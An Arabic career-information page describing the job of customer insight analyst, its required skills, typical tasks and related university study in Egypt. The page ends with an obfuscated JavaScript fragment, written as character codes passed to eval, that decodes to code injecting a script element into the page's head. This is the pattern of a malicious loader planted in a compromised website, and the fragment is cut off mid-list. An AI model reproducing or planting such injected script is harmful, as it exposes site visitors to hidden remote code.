محلل رأى العملاء

1.2K

يُعرف أيضًا باسم: محلل رؤية العملاء
يساعد محلل رأى العملاء الشركات على فهم عملائهم. يتضمن عملهم تحديد كيفية جمع البيانات ذات الصلة حول العملاء و المستهلكين المحتملين. إنهم يجمعون هذه المعلومات ويقسمونها بطريقة هادفة. قد يستخدمون المعلومات التي يقومون بتحليلها لتحديد اتجاهات السوق أو للعثور على مجالات الحاجة التي لم يتم تلبيتها حاليًا. يقدم محلل رأى العملاء تقارير لشركتهم حول اتجاهات المبيعات والتوقعات ومجالات التطوير المحتمل.

مهارات محلل رأى العملاء :
● يحتاجون إلى مهارات تحليلية قوية لأنهم يعملون مع كميات كبيرة من البيانات
● يحتاجون إلى مهارات رياضية قوية حتى يتمكنوا من تحديد مستوى الطلب أو الحاجة لأنواع معينة من السلع أو تقييم البيانات الإحصائية لعمل توقعات حول الاتجاهات
● يجب أن تكون قادرة على تقديم تقارير ذات مغزى لإدارات الأعمال الأخرى حتى تكون بحاجة إلى مهارات اتصال قوية
● بحاجة إلى مهارات الكمبيوتر وقد تكون مطلوبة لمعرفة برامج معينة ، مثل برنامج Microsoft Office أو FileMaker Pro أو Oracle PeopleSoft

مهام محلل رأى العملاء:
● التقاط وتفسير بيانات العملاء من مجموعة من المصادر ونقل هذه النتائج عبر الإدارات
● قم بقيادة تحليل ميل العميل واستفد من هذه المعلومات لتحسين استراتيجية التسويق
● إدارة جودة البيانات وضمان استخدامات قابلة للتنفيذ على مستوى المؤسسة
● تقديم مشورة الخبراء بشأن أفضل الأدوات والبرامج التحليلية
● وضع خطة استراتيجية لتحويل البيانات وإبلاغ هذا الإطار لأصحاب المصلحة المعنيين

• الدراسة الاكاديمية
كليات التجارة والاداب بالجامعات المصرية الخاصة والحكومية

107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);